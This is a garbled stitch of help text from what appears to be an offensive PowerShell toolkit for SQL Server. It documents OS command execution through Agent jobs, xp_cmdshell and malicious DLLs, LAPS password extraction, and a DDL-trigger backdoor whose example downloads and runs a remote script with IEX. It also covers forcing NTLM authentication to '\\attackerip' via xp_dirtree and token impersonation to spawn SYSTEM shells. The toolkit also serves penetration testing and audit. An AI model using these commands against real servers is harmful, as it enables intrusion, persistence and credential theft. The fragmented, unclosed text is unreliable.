Function Invoke-SQLOSCmdAgentJob
{
<#
.SYNOPSIS
Run operating system commands on a Microsoft SQL server by
leveraging the SQL Agent Job service. There is not a method to retrieve the output,
but it's useful for launching remote access code or sending output through another means.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER DAC
Connect using Dedicated Admin Connection.
.PARAMETER TimeOut
Connection time out.
.PARAMETER Sleep
Command execution time in seconds.
.PARAMETER SuppressVerbose
Suppress verbose errors. Used when function is wrapped.
.PARAMETER Type
The type of Job subsystem to launch. Choices are CmdExec (windows command) or PowerShell.
.PARAMETER Command
Based on type chosen above, this is the command launched when the job is executed. If nesting PowerShell
variables within the command, it will need to be escaped with ` (back tick).

{
<#
.SYNOPSIS
Using the OLE DB ADSI provider, query Active Directory for a list of domain objects
via the domain logon server associated with the SQL Server. This can be
done using a SQL Server link (OpenQuery) or AdHoc query (OpenRowset). Use the -UseAdHoc
flag to switch between modes.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER LinkUsername
Domain account used to authenticate to LDAP through SQL Server ADSI link.
.PARAMETER LinkPassword
Domain account password used to authenticate to LDAP through SQL Server ADSI link.
.PARAMETER UseAdHoc
Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER Threads
Number of concurrent host threads.
.PARAMETER LdapPath
Ldap path.
.PARAMETER LdapFilter
LDAP filter. Example: -LdapFilter ";(&(objectCategory=Person)(objectClass=user))"
.PARAMETER LdapFields
Ldap fields. Example -LdapFields 'samaccountname,name,admincount,whencreated,whenchanged,adspath;'
.EXAMPLE
PS C:\> Get-SQLDomainObject -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc -LdapFilter "(&(objectCategory=Person)(objectClass=user))" -LdapFields "samaccountname,name,admincount,whencreated,whenchanged,adspath" -LdapPath "domain.local"
.EXAMPLE
PS C:\> Get-SQLDomainObject -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc -LinkUsername 'domain\user' -LinkPassword 'Password123!'

Function Get-SQLDomainPasswordsLAPS
{
<#
.SYNOPSIS
Using the OLE DB ADSI provider, query Active Directory for a list of domain LAPS passwords
via the domain logon server associated with the SQL Server. This can be
done using a SQL Server link (OpenQuery) or AdHoc query (OpenRowset). Use the -UseAdHoc
flag to switch between modes.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER LinkUsername
Domain account used to authenticate to LDAP through SQL Server ADSI link.
.PARAMETER LinkPassword
Domain account password used to authenticate to LDAP through SQL Server ADSI link.
.PARAMETER UseAdHoc
Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.

# Author: Scott Sutherland, Thomas Elling
Function Get-SQLDomainGroupMember
{
<#
.SYNOPSIS
Using the OLE DB ADSI provider, query Active Directory for a list of domain group members
via the domain logon server associated with the SQL Server. This can be
done using a SQL Server link (OpenQuery) or AdHoc query (OpenRowset). Use the -UseAdHoc
flag to switch between modes.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER LinkUsername
Domain account used to authenticate to LDAP through SQL Server ADSI link.
.PARAMETER LinkPassword
Domain account password used to authenticate to LDAP through SQL Server ADSI link.
.PARAMETER UseAdHoc
Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER FilterGroup
Domain group to filter for.
.EXAMPLE
PS C:\> Get-SQLDomainGroupMember -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc -FilterGroup 'Enterprise Admins'
.EXAMPLE
PS C:\> Get-SQLDomainGroupMember -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc -LinkUsername 'domain\user' -LinkPassword 'Password123!'

last object_id. When the last object_id +16000057 is over the int maximum ( 2147483647), it will start with a new number before the difference

function Create-SQLFileCLRDll
{
<#
.SYNOPSIS
This script can be used to create a CLR DLL to execute OS commands through SQL Server. It provides the option to set a custom procedure name.
By default, it will also create a file containing a "CREATE ASSEMBLY" TSQL command that can be used to create an assembly and function without
requiring the DLL. Finally, an the function can be used to convert an existing CRL DLL ascii hex so it can be used
to register the assembly without the DLL.

function Create-SQLFileXpDll
{
<#
.SYNOPSIS
This script can be used to generate a DLL file with an exported function that can be registered as an
extended stored procedure in SQL Server. The exported function can be configured to run any
Windows command. This script is intended to be used to test basic SQL Server audit controls around
the sp_addextendedproc and sp_dropextendedproc stored procedures used to register and unregister
extended stored procedures.
.PARAMETER ExportName
Name of the exported function that will be created.
.PARAMETER Command
Operating system command that the exported function will run.
.PARAMETER OutFile
Name of the Dll file to write to.
.EXAMPLE
PS C:\temp> Create-SQLFileXpDll -OutFile c:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test
Creating DLL c:\temp\test.dll
- Exported function name: xp_test
- Exported function command: "echo test > c:\temp\test.txt"
- DLL written
- Manual test: rundll32 c:\temp\test.dll,xp_test
SQL Server Notes
The exported function can be registered as a SQL Server extended stored procedure. Options below:
- Register xp via local disk: sp_addextendedproc 'xp_test', 'c:\temp\myxp.dll'
- Register xp via UNC path: sp_addextendedproc 'xp_test', '\\servername\pathtofile\myxp.dll'
- Unregister xp: sp_dropextendedproc 'xp_test'

.NOTES
The extended stored procedure template used to create the DLL shell was based on the following stackoverflow post:
http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
Modified source code used to create the DLL can be found at the link below:
https://github.com/nullbind/Powershellery/blob/master/Stable-ish/MSSQL/xp_evil_template.cpp
The method used to patch the DLL was based on Will Schroeder (@HarmJ0y) "Invoke-PatchDll" function found in the PowerUp toolkit:

.SYNOPSIS
Get-SQLServerLinkCrawl attempts to enumerate and follow MSSQL database links.
.DESCRIPTION
Get-SQLServerLinkCrawl attempts to enumerate and follow MSSQL database links. The function enumerates database names, versions, and links,
and then enumerates the MSSQL user and the privileges that the link path has.
.EXAMPLE
Get-SQLServerLinkCrawl -Instance "servername\instancename"
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
Windows credentials.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER DAC
Dedicated Administrator Connection (DAC).
.PARAMETER TimeOut
Connection timeout.
.PARAMETER Query
Custom SQL query to run on each server.
.PARAMETER Export
Convert collected data to exportable format.
.Example
Crawl linked servers and return a list of databases for each one in a readable format.
Get-SQLServerLinkCrawl -instance "10.2.9.101\SQLSERVER2008" -username 'guest' -password 'guest' | where Instance -ne "Broken Link" |
foreach-object { Get-SQLQuery -instance "10.2.9.101\SQLSERVER2008" -username 'guest' -password 'guest' -Query (get-SQLServerLinkQuery -Path $_.Path -Sql 'select system_user')}
.Example
Crawl linked servers and return a list of databases for each one as datatable objects.
Get-SQLServerLinkCrawl -instance "SQLSERVER1\Instance1" -Query "select name from master..sysdatabases"
.Example
Crawl linked servers and return a list of databases for each one. and hide broken links.
Get-SQLServerLinkCrawl -instance "SQLSERVER1\Instance1" -Query "select name from master..sysdatabases" | where name -ne "Broken Link" | select name,version,path,links,user,sysadmin,customquery | format-table
.Example
Crawl linked servers, execute an OS command using xp_cmdshell, and return the results.
Get-SQLServerLinkCrawl -instance "SQLSERVER1\Instance1" -Query "exec master..xp_cmdshell 'whoami'" | format-table
.Example
Crawl linked servers, execute xp_dirtree, and return results. This can also be used to force the SQL Server to authenticate to an attacker using a UNC path.
Get-SQLServerLinkCrawl -instance "SQLSERVER1\Instance1" -Query "exec xp_dirtree 'c:\temp'" -Export | format-table
Get-SQLServerLinkCrawl -instance "SQLSERVER1\Instance1" -Query "exec xp_dirtree '\\attackerip\file'" -Export | format-table
.Example
Crawl linked servers and return a list of databases for each one, then export to a to text objects for reporting.
Get-SQLServerLinkCrawl -instance "SQLSERVER1\Instance1" -Query "select name from master..sysdatabases" -Export | where name -ne "broken link" | sort name | Format-Table

Function Get-SQLInstanceDomain
{
<#
.SYNOPSIS
Returns a list of SQL Server instances discovered by querying a domain controller for systems with registered MSSQL service principal names.
The function will default to the current user's domain and logon server, but an alternative domain controller can be provided.
UDP scanning of management servers is optional.
.PARAMETER Username
Domain user to authenticate with domain\user.
.PARAMETER Password
Domain password to authenticate with domain\user.
.PARAMETER Credential
Credentials to use when connecting to a Domain Controller.
.PARAMETER DomainController
Domain controller for Domain and Site that you want to query against. Only used when username/password or credential is provided.
.PARAMETER ComputerName
Domain computer name to filter for.
.PARAMETER DomainAccount
Domain account to filter for.
.PARAMETER CheckMgmt
Performs UDP scan of servers with registered MSServerClusterMgmtAPI SPNs to help find additional SQL Server instances.
.PARAMETER UDPTimeOut
Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.

.SYNOPSIS
This script can be used backdoor a Windows system using a SQL Server DDL event triggers.
.DESCRIPTION
This script can be used backdoor a Windows system using a SQL Server DDL event triggers.
As a result, the associated TSQL will execute when any DDL_SERVER_LEVEL_EVENTS occur. This script supports the executing operating system
and PowerShell commands as the SQL Server service account using the native xp_cmdshell stored procedure.
The script also support add a new sysadmin. This script can be run as the current Windows user or a
SQL Server login can be provided. Note: This script requires sysadmin privileges. The DDL_SERVER_LEVEL_EVENTS include:
CREATE DATABASE
ALTER DATABASE
DROP DATABASE
CREATE_ENDPOINT
ALTER_ENDPOINT
DROP_ENDPOINT
ADD_ROLE_MEMBER
DROP_ROLE_MEMBER
ADD_SERVER_ROLE_MEMBER
DROP_SERVER_ROLE_MEMBER
ALTER_AUTHORIZATION_SERVER
DENY_SERVER
GRANT_SERVER
REVOKE_SERVER
ALTER_LOGIN
CREATE_LOGIN
DROP_LOGIN
Feel free to change "DDL_SERVER_LEVEL_EVENTS" to "DDL_EVENTS" if you want more coverage, but I haven't had time to test it.
.EXAMPLE
Create a DDL trigger to add a new sysadmin. The example shows the script being run using a SQL Login.
PS C:\> Get-SQLPersistTriggerDDL -SqlServerInstance "SERVERNAME\INSTANCENAME" -SqlUser MySQLAdmin -SqlPass MyPassword123! -NewSqlUser mysqluser -NewSqlPass NewPassword123!
.EXAMPLE
Create a DDL trigger to add a local administrator to the Windows OS via xp_cmdshell. The example shows the script
being run as the current windows user.
PS C:\> Get-SQLPersistTriggerDDL -SqlServerInstance "SERVERNAME\INSTANCENAME" -NewOsUser myosuser -NewOsPass NewPassword123!
.EXAMPLE
Create a DDL trigger to run a PowerShell command via xp_cmdshell. The example below downloads a PowerShell script and
from the internet and executes it. The example shows the script being run as the current Windows user.
PS C:\> Get-SQLPersistTriggerDDL -Verbose -SqlServerInstance "SERVERNAME\INSTANCENAME" -PsCommand "IEX(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/helloworld.ps1')"
.EXAMPLE
Remove evil_DDL_trigger as the current Windows user.
PS C:\> Get-SQLPersistTriggerDDL -Verbose -SqlServerInstance "SERVERNAME\INSTANCENAME" -Remove

Function Invoke-SQLAuditPrivTrustworthy
{
<#
.SYNOPSIS
Check if any databases have been configured as trustworthy.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER Exploit
Exploit vulnerable issues.
.EXAMPLE
PS C:\> Invoke-SQLAuditPrivTrustworthy -Instance SQLServer1\STANDARDDEV2014
ComputerName : SQLServer1
Instance : SQLServer1\STANDARDDEV2014
Vulnerability : Excessive Privilege - Trustworthy Database
Description : One or more database is configured as trustworthy. The TRUSTWORTHY database property is used to indicate whether the instance of SQL Server trusts the database
and the contents within it. Including potentially malicious assemblies with an EXTERNAL_ACCESS or UNSAFE permission setting. Also, potentially malicious modules
that are defined to execute as high privileged users. Combined with other weak configurations it can lead to user impersonation and arbitrary code exection on
the server.
Remediation : Configured the affected database so the 'is_trustworthy_on' flag is set to 'false'. A query similar to 'ALTER DATABASE MyAppsDb SET TRUSTWORTHY ON' is used to
set a database as trustworthy. A query similar to 'ALTER DATABASE MyAppDb SET TRUSTWORTHY OFF' can be use to unset it.
Severity : Low
IsVulnerable : Yes
IsExploitable : No
Exploited : No
ExploitCmd : There is not exploit available at this time.
Details : The database testdb was found configured as trustworthy.

PS C:\> Invoke-SQLAuditPrivXpDirtree -Verbose -Instance SQLServer1\STANDARDDEV2014 -AttackerIp 10.1.1.2
ComputerName : SQLServer1
Instance : SQLServer1\STANDARDDEV2014
Vulnerability : Excessive Privilege - Execute xp_dirtree
Description : xp_dirtree is a native extended stored procedure that can be executed by members of the Public role by default in SQL Server 2000-2014. Xp_dirtree can be used to force
the SQL Server service account to authenticate to a remote attacker. The service account password hash can then be captured + cracked or relayed to gain unauthorized
access to systems. This also means xp_dirtree can be used to escalate a lower privileged user to sysadmin when a machine or managed account isnt being used. Thats
because the SQL Server service account is a member of the sysadmin role in SQL Server 2000-2014, by default.
Remediation : Remove EXECUTE privileges on the XP_DIRTREE procedure for non administrative logins and roles. Example command: REVOKE EXECUTE ON xp_dirtree to Public
Severity : Medium
IsVulnerable : Yes
IsExploitable : Yes
Exploited : Yes
ExploitCmd : Crack the password hash offline or relay it to another system.
Details : The public principal has EXECUTE privileges on XP_DIRTREE procedure in the master database. Recovered password hash! Hash type =
NetNTLMv1;Hash = SQLSvcAcnt::Domain:0000000000000000400000000000000000000000000000000:1CEC319E75261CEC319E759E7511E1CEC319E753AB7D:

Vulnerability : PERMISSION - CREATE PROCEDURE
Description : The login has privileges to create stored procedures in one or more databases. This may allow the login to escalate privileges within the database.
Remediation : If the permission is not required remove it. Permissions are granted with a command like: GRANT CREATE PROCEDURE TO user, and can be removed with a
command like: REVOKE CREATE PROCEDURE TO user.
Severity : Medium
IsVulnerable : Yes
IsExploitable : No
Exploited : No
ExploitCmd : No exploit is currently available that will allow evil to become a sysadmin.
Details : The evil principal has the CREATE PROCEDURE permission in the testdb database.

Function Invoke-SQLImpersonateServiceCmd
{
<#
.SYNOPSIS
This function will download the Invoke-TokenManipulation function written by Joe Bialek and use it
to impersonate local SQL Server service accounts in order to gain sysadmin privileges on local
SQL Server instances. By default, the function will open a cmd.exe for all local services used
by SQL Server. However, an alternative executable can also be provided (like ssms and PowerShell).
Note1: This function requires local administrative or localsystem privileges.
Note2: Currently, this function only supports local execution, but it can be run remotely via WMI or
PowerShell remoting.
.PARAMETER Instance
SQL Server instance to connection to. If no instance is provided this script will open a seperate cmd.exe
running in the context of each SQL Server service.
.PARAMETER Exe
Executable to run.
.PARAMETER EngineOnly
Only run command in the context of SQL Server database engine service accounts.
.EXAMPLE
This will pop up a cmd.exe console for every service used by SQL Server on the local system, and
the cmd.exe will be running in the context of the associated service account.
PS C:\> Invoke-SQLImpersonateServiceCmd
.EXAMPLE
This will pop up a cmd.exe consoles running as the SQL Server service accounts associated with
the provided SQL Server instance.
PS C:\> Get-SQLInstanceLocal | Invoke-SQLImpersonateServiceCmd -Verbose
.EXAMPLE
This will pop up a cmd.exe consoles running as the SQL Server service accounts associated with
the provided SQL Server instance.
the cmd.exe will be running in the context of the associated service account.
PS C:\> Invoke-SQLImpersonateServiceCmd -Verbose -Instance SQLServer1\STANDARDDEV2014
.EXAMPLE
This will run the provided powershell command as the SQL Server datbase engine service account associated with the
provided instance.
PS C:\> Invoke-SQLImpersonateServiceCmd -Verbose -Instance SQLServer1\STANDARDDEV2014 -EngineOnly -Exe 'PowerShell -c "notepad.exe"'

function Invoke-TokenManipulation
{
<#
.SYNOPSIS
This script requires Administrator privileges. It can enumerate the Logon Tokens available and use them to create new processes. This allows you to use
anothers users credentials over the network by creating a process with their logon token. This will work even with Windows 8.1 LSASS protections.
This functionality is very similar to the incognito tool (with some differences, and different use goals).
This script can also make the PowerShell thread impersonate another users Logon Token. Unfortunately this doesn't work well, because PowerShell
creates new threads to do things, and those threads will use the Primary token of the PowerShell process (your original token) and not the token
that one thread is impersonating. Because of this, you cannot use thread impersonation to impersonate a user and then use PowerShell remoting to connect
to another server as that user (it will authenticate using the primary token of the process, which is your original logon token).
Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon
Token, and then use this process to pivot. This works because the entire process is created using the other users Logon Token, so it will use their
credentials for the authentication.
IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone".
This is done so that the UI of the process is shown. If you do not need the UI, use the -NoUI flag to prevent the ACL from being modified. This ACL
is not permenant, as in, when the current logs off the ACL is cleared. It is still preferrable to not modify things unless they need to be modified though,
so I created the NoUI flag. ALSO: When creating a process, the script will request SeSecurityPrivilege so it can enumerate and modify the ACL of the desktop.
This could show up in logs depending on the level of monitoring.
PERMISSIONS REQUIRED:
SeSecurityPrivilege: Needed if launching a process with a UI that needs to be rendered. Using the -NoUI flag blocks this.
SeAssignPrimaryTokenPrivilege : Needed if launching a process while the script is running in Session 0.
Important differences from incognito:
First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates
between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service
which has threads impersonating multiple users. Incognito can enumerate all tokens available to the service process, and impersonate them (which might allow
you to elevate privileges). This script must be run as administrator, and because you are already an administrator, the primary use of this script is for pivoting
without dumping credentials.
In this situation, Impersonation vs Delegation does not matter because an administrator can turn any token in to a primary token (delegation rights). What does
matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for
the user. Since the computer has no credentials associated with the token, it will not be possible to authenticate off-box with the token. All other logon types
should have credentials associated with them (such as Interactive logon, Service logon, Remote interactive logon, etc). Therefore, this script looks
for tokens which were created with desirable logon tokens (and only displays them by default).
In a nutshell, instead of worrying about "delegation vs impersonation" tokens, you should worry about NetworkLogon (bad) vs Non-NetworkLogon (good).

Required Dependencies: None
Optional Dependencies: None
Version: 1.11
(1.1 -> 1.11: PassThru of System.Diagnostics.Process object added by Rune Mariboe, https://www.linkedin.com/in/runemariboe)
.DESCRIPTION
Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.
.PARAMETER Enumerate
Switch. Specifics to enumerate logon tokens available. By default this will only list unqiue usable tokens (not network-logon tokens).
.PARAMETER RevToSelf
Switch. Stops impersonating an alternate users Token.
.PARAMETER ShowAll
Switch. Enumerate all Logon Tokens (including non-unique tokens and NetworkLogon tokens).
.PARAMETER ImpersonateUser
Switch. Will impersonate an alternate users logon token in the PowerShell thread. Can specify the token to use by Username, ProcessId, or ThreadId.
This mode is not recommended because PowerShell is heavily threaded and many actions won't be done in the current thread. Use CreateProcess instead.
.PARAMETER CreateProcess
Specify a process to create with an alternate users logon token. Can specify the token to use by Username, ProcessId, or ThreadId.
.PARAMETER WhoAmI
Switch. Displays the credentials the PowerShell thread is running under.
.PARAMETER Username
Specify the Token to use by username. This will choose a non-NetworkLogon token belonging to the user.
.PARAMETER ProcessId
Specify the Token to use by ProcessId. This will use the primary token of the process specified.
.PARAMETER Process
Specify the token to use by process object (will use the processId under the covers). This will impersonate the primary token of the process.
.PARAMETER ThreadId
Specify the Token to use by ThreadId. This will use the token of the thread specified.
.PARAMETER ProcessArgs
Specify the arguments to start the specified process with when using the -CreateProcess mode.
.PARAMETER NoUI
If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the
current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control
to "Everyone".
.PARAMETER PassThru
If you are creating a process, this will pass the System.Diagnostics.Process object to the pipeline.
.EXAMPLE
Invoke-TokenManipulation -Enumerate
Lists all unique usable tokens on the computer.
.EXAMPLE
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"
Spawns cmd.exe as SYSTEM.
.EXAMPLE
Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system"
Makes the current PowerShell thread impersonate SYSTEM.
.EXAMPLE
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
Spawns cmd.exe using the primary token belonging to process ID 500.
.EXAMPLE
Invoke-TokenManipulation -ShowAll
Lists all tokens available on the computer, including non-unique tokens and tokens created using NetworkLogon.
.EXAMPLE
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500
Spawns cmd.exe using the token belonging to thread ID 500.
.EXAMPLE
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe"
Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script.
.EXAMPLE
(Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" -PassThru).WaitForExit()
Spawns cmd.exe using the primary token of LSASS.exe. Then holds the spawning PowerShell session until that process has exited.
.EXAMPLE
Get-Process wininit | Invoke-TokenManipulation -ImpersonateUser
Makes the current thread impersonate the lsass security token.

function Invoke-Parallel
{
<#
.SYNOPSIS
Function to control parallel processing using runspaces
.DESCRIPTION
Function to control parallel processing using runspaces
Note that each runspace will not have access to variables and commands loaded in your session or in other runspaces by default.
This behaviour can be changed with parameters.
.PARAMETER ScriptFile
File to run against all input objects. Must include parameter to take in the input object, or use $args. Optionally, include parameter to take in parameter. Example: C:\script.ps1
.PARAMETER ScriptBlock
Scriptblock to run against all computers.
You may use $Using:<Variable> language in PowerShell 3 and later.
The parameter block is added for you, allowing behaviour similar to foreach-object:
Refer to the input object as $_.
Refer to the parameter parameter as $parameter
.PARAMETER InputObject
Run script against these specified objects.
.PARAMETER Parameter
This object is passed to every script block. You can use it to pass information to the script block; for example, the path to a logging folder
Reference this object as $parameter if using the scriptblock parameterset.
.PARAMETER ImportVariables
If specified, get user session variables and add them to the initial session state
.PARAMETER ImportModules
If specified, get loaded modules and pssnapins, add them to the initial session state
.PARAMETER Throttle
Maximum number of threads to run at a single time.
.PARAMETER SleepTimer
Milliseconds to sleep after checking for completed runspaces and in a few other spots. I would not recommend dropping below 200 or increasing above 500
.PARAMETER RunspaceTimeout
Maximum time in seconds a single thread can run. If execution of your code takes longer than this, it is disposed. Default: 0 (seconds)
WARNING: Using this parameter requires that maxQueue be set to throttle (it will be by default) for accurate timing. Details here:
http://gallery.technet.microsoft.com/Run-Parallel-Parallel-377fd430
.PARAMETER NoCloseOnTimeout
Do not dispose of timed out tasks or attempt to close the runspace if threads have timed out. This will prevent the script from hanging in certain situations where threads become non-responsive, at the expense of leaking memory within the PowerShell host.
.PARAMETER MaxQueue
Maximum number of powershell instances to add to runspace pool. If this is higher than $throttle, $timeout will be inaccurate
If this is equal or less than throttle, there will be a performance impact
The default value is $throttle times 3, if $runspaceTimeout is not specified
The default value is $throttle, if $runspaceTimeout is specified
.PARAMETER LogFile
Path to a file where we can log results, including run time for each thread, whether it completes, completes with errors, or times out.
.PARAMETER Quiet
Disable progress bar.
.EXAMPLE
Each example uses Test-ForPacs.ps1 which includes the following code:
param($computer)
if(test-connection $computer -count 1 -quiet -BufferSize 16){
$object = [pscustomobject] @{
Computer=$computer;
Available=1;
Kodak=$(
if((test-path "\\$computer\c$\users\public\desktop\Kodak Direct View Pacs.url") -or (test-path "\\$computer\c$\documents and settings\all users
\desktop\Kodak Direct View Pacs.url") ){"1"}else{"0"}
)
}
}
else{
$object = [pscustomobject] @{
Computer=$computer;
Available=0;
Kodak="NA"
}
}
$object
.EXAMPLE
Invoke-Parallel -scriptfile C:\public\Test-ForPacs.ps1 -inputobject $(get-content C:\pcs.txt) -runspaceTimeout 10 -throttle 10
Pulls list of PCs from C:\pcs.txt,
Runs Test-ForPacs against each
If any query takes longer than 10 seconds, it is disposed
Only run 10 threads at a time
.EXAMPLE
Invoke-Parallel -scriptfile C:\public\Test-ForPacs.ps1 -inputobject c-is-ts-91, c-is-ts-95
Runs against c-is-ts-91, c-is-ts-95 (-computername)
Runs Test-ForPacs against each
.EXAMPLE
$stuff = [pscustomobject] @{
ContentFile = "windows\system32\drivers\etc\hosts"
Logfile = "C:\temp\log.txt"
}
$computers | Invoke-Parallel -parameter $stuff {
$contentFile = join-path "\\$_\c$" $parameter.contentfile
Get-Content $contentFile |
set-content $parameter.logfile
}
This example uses the parameter argument. This parameter is a single object. To pass multiple items into the script block, we create a custom object (using a PowerShell v3 language) with properties we want to pass in.
Inside the script block, $parameter is used to reference this parameter object. This example sets a content file, gets content from that file, and sets it to a predefined log file.
.EXAMPLE
$test = 5
1..2 | Invoke-Parallel -ImportVariables {$_ * $test}
Add variables from the current session to the session state. Without -ImportVariables $Test would not be accessible

.SYNOPSIS
Audit for high impact weak configurations by running all privilege escalation checks.
Note: Use the Exploit flag to attempt to obtain sysadmin privileges.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER NoOutput
Don't output anything.
.PARAMETER Exploit
Exploit vulnerable issues.
.PARAMETER OutFolder
Folder to write results to csv.
.EXAMPLE
PS C:\> Invoke-SQLAudit -Instance SQLServer1\STANDARDDEV2014 -user evil -Password Password123!
ComputerName : SQLServer1
Instance : SQLServer1\STANDARDDEV2014
Vulnerability : PERMISSION - IMPERSONATE LOGIN
Description : The current SQL Server login can impersonate other logins. This may allow an authenticated login to gain additional privileges.
Remediation : Consider using an alterative to impersonation such as signed stored procedures. Impersonation is enabled using a command like: GRANT IMPERSONATE ON
Login::sa to [user]. It can be removed using a command like: REVOKE IMPERSONATE ON Login::sa to [user]
Severity : High
IsVulnerable : Yes
IsExploitable : Yes
Exploited : No
ExploitCmd : Invoke-SQLAuditPrivImpersonateLogin -Instance SQLServer1\STANDARDDEV2014 -Exploit
Details : evil can impersonate the sa SYSADMIN login. This test was ran with the evil login.
